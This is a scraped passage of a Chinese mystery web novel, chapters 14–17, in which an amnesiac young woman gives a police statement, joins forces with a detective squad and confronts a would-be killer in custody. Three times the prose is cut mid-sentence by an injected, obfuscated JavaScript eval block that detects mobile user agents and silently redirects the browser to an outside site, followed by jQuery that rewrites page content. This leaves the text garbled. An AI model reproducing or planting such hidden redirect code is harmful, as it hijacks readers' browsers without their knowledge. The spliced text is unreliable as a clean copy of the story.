况且,她只是一个普通人的脑子,光推理绑架案的人物关系就快要把CPU给干烧了。一个人分析再怎么厉害,总会有思维漏洞,她需要警方的超级大脑。 想明白当下的目标后,她思考的方向就变成了怎么说服这些警察,毕竟她只是个普通人,警察不太可能会让她参与进去的,更别提很多案件信息都是对外保密的。 宋承带头走进询问室,坐在第一把椅子上,后面三人坐在纪然对面。 纪然看向这房间里唯一的女警——叶柯。有些好奇,这个女警不太像个警察,倒像个女大学生,还是她看着就很喜欢的温柔学姐型。 注意到对面的女孩在看自己,叶柯习惯性的分析:面部肌肉紧绷眉毛微皱,眼里不自觉地流露出不安,这是在紧张。 叶柯朝她笑了笑:“你好,我叫叶柯,也是第一小队的队员。放轻松,不用紧张什么,我们会问一些案件细节问题,都是你今天发生的,如实回答就好。或者你可以调整一下呼吸频率,喝点水,这对精神缓和有帮助。” 宋承离纪然桌上的杯子最近,拿起来给她接了杯温热水:“用你的话说,我们队里几个人长得都还不错,你要是紧张,可以多看看我们的脸。” “咳咳——”李新咏有些被呛到,白皙的脸在咳了几声后泛着红润。 肖羽听闻后挑了挑眉,若有所思地摸了一把自己的脸。 叶柯笑得更开心了,眼睛眯起月牙形状,脸上隐隐能看到酒窝:“小妹妹很有眼光嘛,我们第一小队可是这警局的颜值巅峰队,”她看了一眼询问室的几个人,“还有个乔弟弟不在,他长了张正太脸,很可爱的。” 纪然真的很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179099|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佩服宋承总能用一本正经地口吻说出让人发笑的话,这么一笑,她确实感觉没那么紧张了。 见她神态舒缓了些,几人对视一眼,宋承拍板:“开始吧。” 话音一落,每个人的神色都凝重起来。 询问室里灯光明亮,随着录音与录像设备的开启,纸张被书写时的沙沙声伴随着纪然的声音同时响起。 案件发生的时间、地点以及当事人。 然后纪然开始回忆,组织语言,从她醒过来的时候开始讲起,除了隐瞒了笔记本的存在,其他的全都一五一十地讲了一遍。 包括她当时的情绪、想法、感受,甚至把她的推测也讲得一清二楚。 听着纪然除了回忆时会停顿一会儿外,开口时一直有条不紊地讲述案件,叶柯隐晦观察她的微表情和肢体动作。 为确保执法过程的合法性与公正性,并为笔录的真实性和准确性提供保障,负责分别记录的肖羽和李新咏笔走如飞。 静静听着纪然说出来的猜测,宋承的眼睛像深不见底的墨水,在大脑里与他已知的线索进行融合,再进行更深层次的推理。 他时不时开口询问一些问题,纪然思考后如实回答。 警局大厅时钟上的分针转了半圈多,杯子里的水又续了三杯,见宋承没再提问,纪然表示她已经讲述完了。 叶柯朝她温柔地笑了笑,然后对宋承点点头。 几个呼吸后,肖羽和李新咏分别停下笔,对视一眼后,齐齐看向宋承。 宋承颔首,肖羽先开口:“现在跟你核对案件内容……” 随后,纪然听着他复述,确定没有出入后,纪然又接过来看了一遍,最后在记录本上签字,签名和写下日期。 「以上内容我已看过,确认无误。」 「纪然」 「5月10日」 之后李新咏开始复述他所记载的部分,同样的流程再走一遍,签完字后,纪然才终于缓了口气。 另外几人纷纷在记录本上依次签字。 宋承站起身,很正式地伸出手:“辛苦了,你很勇敢,推测得也很合理。请随时记住,有困难就找警察,我们定不负人民重托。” 自己分析出来的猜测被人民警察肯定,纪然有些受宠若惊,与他握手:“谢谢,你们的救援来得很及时。我会记住的。” 虽然过去了一个白天,但是实际上想想也没发生多少事。上午被困在房间里脑内风暴,下午在医院检查,晚上吃了个饭就在这记笔录。 可身处其中作为当事人的她,在事情发生时并没有感觉时间过得有多快。经历这种离奇“死亡”又“复活”,在恐惧中等待救援,与警察交谈和分析事件,又做了一场梦中梦,或者说好几场噩梦。 大脑在短时间被塞进很多信息,主要还是在经历各种负面情绪后,精神难免感觉疲倦。但黑卡上依然在跳动的倒计时,无时无刻不在提醒着她,要尽快揭开谜底,要赶紧找到失踪的季然。 不过幸好,她被推着前进的路上不是单独一个人,警方也在调查这些事。如果能谈到合作,她还能借助警方的力量来完成这个所谓的主线任务。 不管是神奇的笔记本,还是奇怪的黑卡,亦或是身上没有任何随身物品出现在陌生的房间里,都很可疑。 想到今天与这群人接触的种种,纪然抿嘴笑,每个人都是很热心善良的人呢,不愧是人民警察。虽然失去了记忆,但她不会坐以待毙,得努力查清这一切。 人的恐惧往往都来自于未知,失去已知经历的她,对过去,对未来,都有种不安的怀疑感。她现在能做的,就是努力创造出当下。 随后纪然与李新咏、肖羽、叶柯分别握手。 李新咏面带微笑,语气中流露出赞赏:“我对你在逆境中展现的冷静态度深感钦佩,也很感谢你对我们的信任。” 一个跟他妹妹差不多大,还在学校念书的这般年纪的小姑娘。在失忆后能面对门外的歹徒冷静下来寻找线索,不发出动静,找到手机偷偷报警,确实勇气可嘉。 肖羽冲纪然竖起大拇指:“临危不惧,有勇有谋,很不错。” 一般这样才二十岁的小女生,甚至看起来都还没出社会,被迫卷进这复杂的案子里。在面对嫌疑人时能够忍着心底的恐惧感对事件做出分析。在看到连他都得一惊的血腥场景时,能说出“该害怕的是作恶多端的罪犯”这种话,心理素质是真的强大。 叶柯轻轻拍了拍她肩膀安抚道:“同为女孩子,我很能理解你在那种情况下会产生的情绪和反应,你真的很了不起了。” 就算是她,在面对那种情况,也不见得能做出更好地选择。毕竟她可没什么武力值,而带着武器的嫌疑人可不管别人有多聪明,大脑里的知识有多重要,又或是什么身份,他只会看这个人好不好欺负。同为女孩子,她太能感同身受那种恐惧感了。 纪然莫名有点感动,又被四个人轮流夸得有些不好意思:“谢谢你们。” 15. 监控里的她 记笔录的事告一段落,纪然的情绪也平复下来。 趁着几人还没走,她提出想要跟他们合作的事。 “合作?”肖羽有些愕然,止住摸向门把手的动作,顺势转身斜靠在门上,戏谑道,“根据《人民警察法》第三十四条的规定,公民和组织应当配合人民警察依法执行职务。所以不管合不合作,你都要配合我们进行案件调查。” 他摊手:“而且,我们为什么要跟普通人合作?刑侦调查不是儿戏,更不是想一出是一出的游戏,它很危险。” 还在因纪然所说的内容而感到意外的叶柯,听到肖羽这话,轻轻给他一手肘:“你在说什么呢?不要吓唬人家小妹妹,她想参与进来这对我们而言可是件好事呢。” 宋承最为淡定,很是认真地盯着纪然的眼睛:“你指的是针对于你的这场绑架案,还是第九系列凶杀案?” 纪然抿嘴,眼里透露出一股坚韧劲:“这没什么区别吧。如你们所说,我已经被卷进来了。你们需要从我这个案件当事人的身上进行调查,而我需要你们掌握的案件情况和案件进展。” 瞥了一眼肖羽,意有所指:“况且,作为大概率是被牵连的受害人,我也有权向警方了解案件的进展情况吧?” 她能听得出来肖羽没其他意思,单纯开个玩笑,然后用轻松地语气指出案件调查的危险程度。加上她确实只是个普通人,张嘴就说要跟警察合作,属于天方夜谭了。 但她也没放弃,毕竟口袋里的黑卡还在倒计时。不找到消失的房主,谁也不清楚在倒计时结束后会发生什么。 “你确实有这个知情权,”李新咏认同这句话,表情严肃,“但涉及到案件性质和侦查需要,同时也为了保护受害人,很多信息我们是无法告知你的。” 纪然点头表示理解,继续说:“只用说你能说的部分就行,作为交换,我可以无条件配合你们警方的调查行动。这也是合作。” 看了一眼宋承,李新咏点头:“我没意见,但最终能否合作由队长定夺。” 肖羽耸肩,装作无奈地样子:“我也没意见,毕竟等下还要请你帮个忙,”他眨了眨眼睛,语气里带着几分幽默,“你应该不会拒绝吧?” 纪然头上刚竖起一个问号,听了半天的宋承接着发言:“这是件双赢的事,既然大家都没意见,那就祝我们达成初步合作——合作愉快。” “不要再提这个词了……”纪然吐槽,跟他又握了手。 几人陆续走出询问室,宋承手机震动了一下,他拿起来看了一眼,表情有瞬间的变化,不到半秒就恢复平静,接着带大家走进一间空着的会议室。 “我们来聊一聊‘合作’后的事。”坐下后,宋承首先打破安静。 想到刚才收到的消息,他的目光落在纪然身上,晦暗不明,首先试探道:“你需要我们的情报——你想知道哪些方面的信息?” 纪然想到无论是绑架案还是第九系列凶杀案,她都一无所知。只知道有个斧头狂魔要杀她,房间原主人季然下落不明,与季然有关的季铭死得蹊跷,甚至还有新闻直播里提到的报案人周某,这些人又是怎样的人物关系。 没有手机,她不清楚第九系列凶杀案到底是什么,全靠今天听到的一点消息来推测。所以,她有太多方面的信息想要了解。 “先讲讲那个斧头人是谁吧,为什么要杀我,他知道我为什么会出现在那个房间里吗?”纪然决定先从最简单的,也是她亲身经历的绑架案开始问起。 宋承用眼神示意李新咏来说。收到指示,他理了理思路,眼神深邃如海,带着一丝探究,盯着纪然:“对于这个案件,能告诉你部分只有他叫张统,C市秋江区的人。前几日坐了一天一夜的火车来到A市,住在火车站附近一家宾馆。” 很陌生的名字,纪然完全没任何熟悉感,甚至对李新咏提到的秋江区也很陌生,在不排除因失忆导致的陌生感外,她很难从这短短两句话里提炼出什么有用信息。 “你们能说的应该不止这两句话吧。”纪然捏了捏腿上笔记本的封面,她才不信警方能提供给大众的信息只有这么两句。 “……我们查看了近几日宾馆周围的监控,发现他行动毫无规律。从路人口中得知,他这两天在桂香街附近出现过。随后除了早中晚就餐时间,基本上没有看到他外出的身影。直到今天之前,他都没有进入过那个公寓。” “也就是说,虽然他试图杀害我,但他并没有绑架我的嫌疑?”纪然思索道。 “是的,”李咏新的脸色冷峻而沉静,仿佛内心蕴含着无尽的波澜,却始终保持着一份超然的冷静,“凭借我们现在掌握的证据,只能判定他杀人未遂。” 在警校以优异成绩毕业的肖羽,对一些法律知识也熟悉,在一旁补充:“而且判定绑架罪是需要以勒索钱财为目的的绑架他人,或着绑架他人为人质的行为。比如这种情节较轻的,处五年以上十年以下的有期徒刑,并处罚金。” “从监控和现有的线索来看,张统既不是绑架你的人,也不是以勒索钱财为目的,够不成绑架罪。”肖羽摊手。 “虽然他有故意非法剥夺他人生命的行为,但因行为人意志以外的原因而未能完成犯罪,即未导致受害人死亡的情形。根据我国《刑法》第二十三条的规定,已经着手实施犯罪,由于犯罪分子意志以外的原因而为得逞的,是犯罪未遂。对于未遂犯,可以比照既遂犯从轻或较轻处罚。” “所以,以张统目前的情况,大概率只能判个……” “咳咳!”李新咏咳嗽两声。 宋承的死亡凝视看过来,叶柯也悄悄用手肘推了推他。 作为警察,他们有责任确保司法程序的公正性和保密性。一般不会告诉被害人关于罪犯预计要被判决的具体刑期,因为判决结果取决于多种因素,包括犯罪事实、犯罪的性质、犯罪人的前科、犯罪行为对社会的危害程度、以及法庭审理的结果等。 肖羽顿了顿,自知失言:“不过具体还得看法院怎么判决,我不是很了解。” 李新咏接过话,继续说:“你之前所在的公寓并不是近二十年新建的,内部的监控设施并不完善。从已有的监控摄像中,我们只调取到你曾在5月9日晚上,也就是昨晚,被人带进了公寓。” 他调出手机画面给纪然看,画面的截图显然是她本人的侧影。 纪然注意力被吸引,放大图片,明显发现不对劲:“我的身旁还有人?” “嫌疑人很狡猾,”宋承的手指关节轻轻敲了敲桌子,肯定了纪然的发现,解释道,“她利用你的身形将自己完全遮挡在监控范围内,新咏他们看了几个小时的监控视频,没有捕捉到她的正脸。” “但是根据我的推断,”叶柯开口,柔和的脸上带着一点遗憾,“小妹妹,把你送进公寓的,应该是一名女性。身高体型跟你差不多,但戴着帽子一直低着头,加上有你的身体挡着,我们无法看清。” 肖羽嘴角勾起:“小柯是我们队里的心理师加侧写师,她分析出来的肯定没错。” 纪然点点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179100|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在大脑里分析这几个关键词,道:“或许这是一个体型瘦小的男性?” “你可别怀疑公职人员的准确性,”肖羽正色道,“虽然监控并没有拍到这位嫌疑人的正脸,但是却拍到了她脚上穿的鞋子。这是一双运动鞋,小柯调查过这个牌子的鞋子,是一款专为女性设计的运动鞋,她脚上穿的这个款式,应该是36码的通用款式。” 叶柯打量着纪然,补充道:“而正常男性的鞋码在40—46,同身高时男性的脚也会比女性的脚大一些,即便是跟小妹妹你身高体型差不多的男生,鞋码一般也会接近40。” 听到这,纪然想起一件事:“跟我差不多体型,我能穿的鞋码——这人是那个季然?” 四人一瞬间齐齐盯着纪然。 肖羽有些迟疑地开口:“你是说,绑架你的人是她?你确定吗?” 纪然也不太确定,但还是把推测说了出来:“在房间里找线索时我看过她的鞋架,全都是36码的鞋,每一双鞋底都带着弹性,方便行动。加上她衣柜里的衣服尺码,我们身高体型包括鞋码,确实都差不多。” 沉吟片刻,李新咏接上了话:“况且你还是在她的房间里醒来,身为房间主人,是她把你带回去的可能性很大。” 宋承与他对上视线,问:“白天给你的手机有查出了什么?” 李新咏摇头,有些无奈地说:“所有信息全被删了。她很谨慎,删除后把手机存储空间继续占满,再次删除,来回了好几次。技术部到现在都还在努力恢复。” 听到这,宋承眼眸一沉,继续问:“手机卡呢?” 肖羽接话:“查过了,手机里的卡不是她的,是季铭的。” 纪然神色也凝重起来,为什么季然的手机里用的是季铭的手机卡? 把她带进房间的是季然,随后她被人蹲守。现在得知已经死亡的人的手机卡也在季然那。 这个季然,在里面扮演着什么角色? 宋承低头沉思,季然的手机用着季铭的卡?他仔细回想与第二小队交接时的信息:“当初发现季铭尸体时,有没有提到发现他的手机?” 李新咏一愣,良好的记忆力让他迅速从大脑里翻出昨天看过的资料:“没有,尸体发现现场和他家里都没有发现他的手机。” “这么说的话……”肖羽嘶了一声,手指有节奏的点了点放在桌子上的自己的手机,眼睛一眯,“他的手机在季然手上?” 纪然:? 叶柯瞧见纪然的表情,感觉怪可爱的,帮肖羽把话说完整:“是那个季然。” 回想起监控里遮掩自己身形的人,行为本身就很可疑。李新咏认可了肖羽的猜测:“很有可能。” 纪然作为这件事的当事人和受害人,宋承也没瞒着她。手指指节骨叩响桌子,引起大家的注意力:“白天送去技术大队检验的痕迹材料有什么结果?” 李新咏调出手机屏幕的画面,递给宋承,向大家说明结果:“经过DNA鉴定对比,床底的血迹与季……那个季然的DNA样本高度吻合,具有100%的一致性。房间里的各处信息都与季然的个人习惯吻合,在衣服和家具上也有她的指纹痕迹。” “不过,经过专业的检验分析确认,床底的血迹至少形成了两个星期。结合我们的调查结果显示,在这两周的时间里,无论是季铭还是那个季然,他们的生活状态一直保持着正常。” “那床底下怎么会有那么多她的血?”纪然皱眉,问出了这句浮现在会议室所有人心里的问题。 16. 吃狗粮吃饱了 几人沉默时,宋承并没有放弃任何可能获得的线索。他沉着眼出声:“关于‘绑架案’的细节你已经知道了,作为交换,需要你回答我一个问题。” 纪然莫明,但还是点头:“你问吧,知道的我都会说。” 宋承的脸上写满了严肃与专注,眼神锐利,直勾勾盯着她,仿佛要把人看穿:“你到底是什么人?” “啊?”纪然惊愕。 李新咏、肖羽、叶柯面面相觑。 “为什么这么问?”纪然不理解,她一个失去记忆的人哪还知道自己是谁,警局系统一查不就知道了。 眼睑和眉毛微抬,嘴巴微微张大,眼睛长大。纪然惊讶的表情持续时间很短,叶柯精准捕捉到了,她不准痕迹地对着宋承摇头。 收到叶柯传递的信息,宋承眉心微松:“系统里查不到你,每一个同名同姓的人都对照过了,没有你。” 这怎么可能?纪然皱眉,睁大了眼睛,语气有些急:“不可能啊!” 肖羽眼睛一转,盯过来:“会不会是你记错了自己名字,你不是叫纪然?” 李新咏沉默着打量她。 纪然说不出话,无论是笔记本上写的,还是口袋黑卡上的名字,都是“纪然”二字。为什么警方说查不到她? 会议室里陡然安静下来,无人再出声。 难道……她一般用的是另一个名字,笔记本和黑卡显示的是她本名? 也不是没这可能。 纪然犹豫着开口:“如果是我记错了名字,那要怎么查到我的信息?” “指纹鉴定、面部识别、DNA测试、失踪人口数据库、笔迹分析、声音和口音分析都可以。”李新咏说道。 宋承颔首,站起身,侧脸看向纪然:“既然如此,麻烦请你配合我们做一下这些生物信息采集。” 跟着站起身,她双手捏着笔记本:“不麻烦,我也想知道我是谁。” 做这种简略的生物信息采集要不了多少时间,他们还等着带纪然去刺激仍在看押室里的张统。于是一群人浩浩荡荡来到户籍管理部门,给里面的在职民警看懵了。 一个警务辅助人员走过来,迟疑道:“你们是……刑侦科的第一小队?”又看了看这么一大帮子人,“来我们这是要查什么资料吗?” 肖羽脸上挂起社交微笑,游刃有余地解释,然后招呼纪然过去。 随后纪然花了半小时,又是录入指纹,又是拍照,还被抽了管血,留下自己的字迹和说话录音。 警务辅助人员杜冰点头:“可以了,之后我们会对这些进行查验分析,与失踪人口进行对比。这个过程的时间长度可能会因多种因素而异,暂时无法给出预计时间,还请多耐心等待。” 宋承若有所思:“如果查不到她的户口,按照流程可以申请补办吧?” “这得等我们核查清楚她之前是否办理过户口,才能确定补办。”杜冰挠了挠头,看了一眼纪然。 “好的,那麻烦兄弟多费心了,缺少身份证明对这位小姑娘来说,也是很不方便。”肖羽笑着拍拍杜冰的肩膀,一副哥俩好的模样。 “一家人不说两家话,我们也是按流程办事,”杜冰也笑着说道,然后正了正神色,“我们这边也会跟民政那边沟通,联系附近的社区工作人员。你们先等处理结果出来吧。” “谢了,兄弟。那我们不影响你继续工作了,先回去了,有消息及时通知我们啊。”都是同为加班的社畜,肖羽又拍了下他的肩膀,招呼队友们回去。 宋承对杜冰点点头,剩下几人也纷纷跟杜冰道谢,然后跟着宋承回到刑侦部的地盘。 路过公安局大厅时,纪然看到时钟上的时间已经来到晚上九点二十分了。 肖羽凑到纪然边上:“需要你帮忙的时候到了。” “什么忙?”纪然问道,在脑子里过了一遍今天发生的事,算算信息链,现在该推算到斧头狂魔张统身上了,“那个张统的事?” 叶柯正准备解释,就听到纪然已经猜出来了,有些意外:“小妹妹挺聪慧的,我越来越期待我们的合作了。” 她露出笑意,整个人好似从古色古香的仕女图中走出来的,那温婉的气质,让人忍不住多看几眼。 纪然抿嘴笑,她也很喜欢跟同性相处,何况这个叫叶柯的姐姐气质真的很好,同她说话都有种很令人舒适的感觉。 几个人走到距离看押室还有一个转角的地方。 宋承停下脚步看向墙面,仿佛能透过厚厚的墙面看到看押室里的人。 李新咏很清楚等下要做什么。他看着纪然,嗓音低沉,带着一丝不易察觉的沉重:“张统会对jì然这两个字有应激反应。除此之外,无论我们怎么询问,他都拒绝回答任何问题。” “叶柯是我们警局最出色的心理专家,尝试过各种方法来接近张统的内心,包括心理安抚和深度催眠,但都没有取得明显的进展。” 叶柯在一旁点头:“他的内心就像是有一道坚不可摧的防线,将我们所有人都拒之门外。” “所以,我们需要你的帮助,去刺激张统的心理防线,让他在无意识的状态下说出一些关键的信息。”宋承对纪然说道,看过来的眼神很是认真。 纪然看向墙壁的转角,知道拐了弯走进这条走廊,就会看见那个斧头狂魔。 肖羽见她有些踟蹰的样子,嘴角勾起一抹自信的笑意:“放心吧,他现在被关在里面,隔着厚厚的铁门,根本伤不到你。何况我们这么多人在这儿,还怕压制不住他吗?放轻松点,有我们在呢。” 纪然点点头,但身体却没放松下来。毕竟有些事,懂得道理并不代表就能做得出来。 她的嘴角微微下撇,眼神闪烁不定,透露出不安,手指无意识地摩挲笔记本边缘——这是紧张的表现。 身为心理师,叶柯当然知道当受害人看到嫌疑人时,他们的大脑会迅速进入“战斗或逃跑”模式。这是一种原始的生理反应,由交感神经系统控制,旨在帮助个体应对紧急情况。根据每个人的不同,会产生各种应激反应。 叶柯摸了摸纪然的头,指着宋承说:“我们队长可不是一般的刑警,他是从陆战特种部队退役下来的。你想想看,那种环境下锻炼出来的人,身体素质和格斗能力得有多强?所以,你完全可以放下心来。” 纪然跟着看过去,真没想到宋队长还有这履历,怪不得看着就很能打的样子。宋承没拦着叶柯说这些,见纪然看过来,便对她轻轻点头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179101|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又指了下李新咏,叶柯继续说:“他也是从陆战特种部队跟队长一起退役下来的。以前担任狙击手,那可不是闹着玩的,需要极高的心理素质和精准的判断力。身手也不输于队长。所以,你全然可以相信,有他们在,你的安全绝对能得到保障。” 听到提到自己,李新咏对纪然点头微笑。 叶柯的语气坚定有力,对两位队友充满了信心。配合她说的话和动作,一下子就盖过了纪然内心的紧张感,让纪然也觉得好像没什么可怕的。 纪然刚准备说话,就被肖羽打断:“该轮到我的介绍了。”他扬唇一笑,看向叶柯的眼中星光闪烁,仿佛整个世界都亮了起来。 纪然:……像路边的狗被踹了一脚。 叶柯有些不自在地避开他的眼神,下意识地挽起纪然的手臂:“他……是从武警学校以优异成绩毕业的。起初在刑侦部实习,后来刑侦部进行整改,按照小队进行任务分配。他很有能力,得到了队长的认可,于是去年被正式调入了第一小队。” 期待了半天,肖羽眨了眨漂亮的眼睛,有些意想不到:“……就一句很有能力?” “……也很能打?”叶柯飞快瞥了他一眼,用犹豫不决的语气问了出来。 “我就知道,我是枯萎的玫瑰,是港口吹过的风,是不被在意的plan B。”肖羽摊手,装作无奈又伤心的样子叹了口气。 尽管叶柯一眼就识破了肖羽的玩笑,她能清晰地察觉到他脸上每一个细微的肌肉变化,但她内心深处仍然不愿看到肖羽露出这种略显苦涩的表情。在她的心中,肖羽就应该一直恣意张扬地笑着,那种无忧无虑、自由奔放的笑容才是他最真实的写照。 “他也很厉害,跟队长和李哥对练时也能打的有来有回的……”余光看到肖羽的表情,忍不住夸了夸,虽然也确实是真心话,“身手敏捷,反应迅速,而且战斗意识很强。” 肖羽满意了,嘴角扬起:“放心,有我们在,那张统伤害不了你们。” 表情中带着几分少年人的热情和张扬,眼里闪烁着坚定的光芒,普通的话从他嘴里说出来像一句誓言一样,有种无畏无惧的力量感。 “……谢谢你们,我没事了,现在过去吧?”纪然感觉再不过去,吃狗粮都能吃撑了。 宋丞看了眼时间:“差不多九点半了,大家再撑一撑,问完张统后做好登记就下班回去休息吧。” 叶柯还好,白天睡了一天。反倒是宋丞、李新咏、肖羽三人,从昨天早上通宵加班到现在,又是高专注地查资料,又是案件对接,还外出押回来一个杀人未遂的嫌疑犯。 下午宋丞一直陪纪然在医院做检查,倒不算有多累。但李新咏和肖羽则是穿梭于城市中,从各个角落搜集线索。 他们一路排查到火车站附近,调取了有关张统的监控录像。顺着张统的路线,沿途询问路人,不放过任何一丝可能的目击者证言。然后来到上午去的公寓,仔细排查监控录像里每一个可能的细节。之后整理证据,翻阅档案资料,对张统进行审讯。 两人忙得如同陀螺,还找了不少民警帮忙,一刻不停地奔波于各个地点,只为能够尽快找到案件的突破口。 真的很担心自己会头秃。 17. 哭个锤子 来到看押室门口,隔着监视门的小窗口难以辨认室内的情况。 宋承走过去打开了外面的平开全封钢质门,露出内层的一扇平开栅栏门。 透过栅栏门,纪然看到张统正坐在里面的凳子上,一身黑衣,低着头让人难以看清神色。 “砰砰!”肖羽敲了敲钢质门发出动静,企图引起里面人的注意。然而张统却像一座雕塑般静静地坐在那里,对这突如其来的敲门声充耳不闻,依旧低着头,动也没动过。 见状,纪然站到栅栏门后约一米的位置,清了清嗓子,开口道:“我是纪然……” 话音未落,张统猛地一下抬起头,瞪着双眼直勾勾盯着她。 一股寒意从脊背直冒至天灵盖,纪然心脏仿佛漏了半拍,鸡皮疙瘩瞬间窜上身。 她深吸一口气,继续说:“我是纪然,为什么要杀我?” 张统迅速起身扑到栅栏门上,眼睛瞪得极大,里面全是血丝,满脸扭曲,嘴里发出野兽般的声音,断断续续能听到他说:“为什么……还没死?杀了你……jì然要死!杀了你……杀了jì然!” 真是个疯子! 纪然被吓得退后了一步,脸色有些苍白。 叶柯见状,站到她身边,轻轻地搂住她的肩膀,用柔和而充满力量的声音轻声安慰道:“没事的,小妹妹,他现在只是精神状态不太稳定,所以才会这样。别害怕,我们都在这里陪着你。” 温柔的声音仿佛带着某种神奇的魔力,渐渐地驱散了纪然内心的恐惧。纪然手脚有些发凉,感受到叶柯贴近带来的暖意,忍不住握住她的手,仿佛想从她那里汲取更多的热量和勇气。 “为什么要杀死jì然?”纪然又问了一遍。 “哐哐!”栅栏门被张统双手紧握住,猛烈地摇晃,他的双腿也向栅栏上踹击。高质量的栅栏门牢牢阻挡了他的动作。张统的脸上露出了愤怒又绝望的复杂表情,看过来的眼神中满是癫狂。 “时间要结束了……jì然要死!时间……杀了你!任务……jì然……死!” 张统的眼里时不时透露出几分迷茫,像是失去了目标的不知所措,但很快他浑身充斥着一股蛇一样冰冷又狠戾的气息。 他瞪着纪然,那是一种不顾一切、只想冲破束缚的疯狂眼神。 时间要结束了,任务,杀死jì然? 心脏砰砰跳动,直觉告诉纪然,这句话的后面隐藏着一个天大的秘密。而且,可能跟她有关系。 或许是张统的表情太过于可怕,纪然一时不知道该怎么办,转头用眼神来回看着第一小队的四人。 四人都在思索张统所说的话,什么任务要杀了jì然,难道他是个雇佣兵?但是张统这人,他们调查过,就是个普通人,甚至身体还不太好。 调查结果显示,张统自幼便体弱多病,给本就经济拮据的家庭带来了沉重的负担。 张统的父母为了凑钱给他做手术,日夜兼程,白天辛勤工作,晚上街头摆摊。经常忙到凌晨两三点才能回家,五六点天还没亮他们就得起床,去做别人转让的环卫工兼职。这样忙碌操劳的生活节奏,对他们精神和身体的都造成了很大消耗。 由于识字有限,张统的父母只能从事一些辛苦且回报微薄的杂活。有一次他们晚上出来摆摊时,突遭顾客投诉,称食用了他们的食物后出现了腹泻症状,怀疑食品卫生存在问题,最后闹到警局。 张统父母的摊子被没收了,还被罚了款,这对他们来说,原本就难以承受的经济压力,如今更是雪上加霜。张统的手术费用如同无底洞一般,不断吞噬着他们辛辛苦苦赚来的血汗钱。 在生活重压下,张统父亲承受不住压力,一时想不开投了河,留下妻子独自抚养年幼的张统。 原本是有亲戚可以帮衬的,但是张统父亲投河后,男方亲戚却将责任归咎于张统母子,认为是张统母子俩逼死了他们的亲人。丝毫不顾及张统作为他们离世亲人唯一的后代身份和亲情,纷纷向母子俩追讨借款,使她们的处境更加艰难。 而张统的母亲娘家存在严重的重男轻女观念,别说借钱了,早在她结婚时就以收取彩礼为由,将她“卖”给了男方家。 在各种压力下,张统的母亲愣是咬着牙挺了过来。然而天有不测风云,在张统心脏移植手术刚完成后没多久,她便病死了。 之后张统早早辍学,初一还没读完就去打工,一直在努力还钱给各个催债的亲戚和借贷公司。 说起来若非亲眼目睹档案记录,他们真的很难相信面前这副有着三四十多岁模样的张统,实际上今年刚成年。 张统在栅栏门后,冲着纪然发出嘶吼般的咆哮,声音充满了绝望和愤怒。周围的空气仿佛都被他的疯狂所感染,变得压抑而沉重。 纪然看着他,又问了一遍:“为什么要杀jì然?” 没想到的是,张统居然回答了这句:“钱……杀了……就有钱……时间……死!” 纪然惊愕,所以张统是为了钱要杀她,但是有时间限制?杀手,还是雇佣兵? 那到底是谁想要她的命? 纪然感觉,她离真相越来越近了。 第一小队的四人听到这个答案,神色都有些莫名,因为他们清楚地知道,以张统的身体素质,不可能有另一个身份。 所以为什么会有人花钱让张统这样一个病秧子去杀人? 宋承和肖羽对视一眼,两个人都想到一个问题:白天在进公寓四楼时,他们与张统过了好几招,那身手根本不是普通人能拥有的。对战时,感觉有种在跟同类交手的感觉。 但根本他们查到的资料,张统并不具有这种身体素质。甚至在他们抓捕张统后,有带他去做了个简单的身体检查,结果显示张统只是很羸弱的落满病根的身体。 一个人的身体素质还能在短时间内飞快提升和飞快下降? 乔云深抽取他的血液检验后,报告里并未发现短时间内有肾上腺素高于正常浓度指标,任何药物痕迹都没有。就像第九系列凶杀案里每一个死者的尸体,找不到任何痕迹。 宋承脑海中飞快闪过什么,他紧紧抓住这一刹那的灵感。 找不到任何痕迹? 一个人的身体素质不会这样快速来回变化,即便是再厉害的受过专业训练的人也不行。 同理,一个人的死亡也不可能没有任何痕迹,即便是自然死亡或猝死都有迹可循。 那么这两件事连在一起,只有一个结果——张统与第九系列凶杀案的真正凶手有关系! 那么接下来需要做的就是,从张统嘴里问清,是谁花钱让他去杀人的。 宋承目光如炬,锐利地锁在张统身上,语气铿锵有力,直探人心:“是谁给你钱让你杀人的?” 张统还在摇晃着栅栏门,没有理会宋承。 察觉到宋承的变化,纪然配合地重复道:“是谁给你钱让你来杀人的?” 张统的眼睛又迷茫无神起来,停住了手上的动作,像是没听懂这个问题,不停地念叨着:“钱……完成……钱……还债……” 真的是个很奇怪的人,精神都错乱了吧。 纪然又问:“谁给你的钱?” 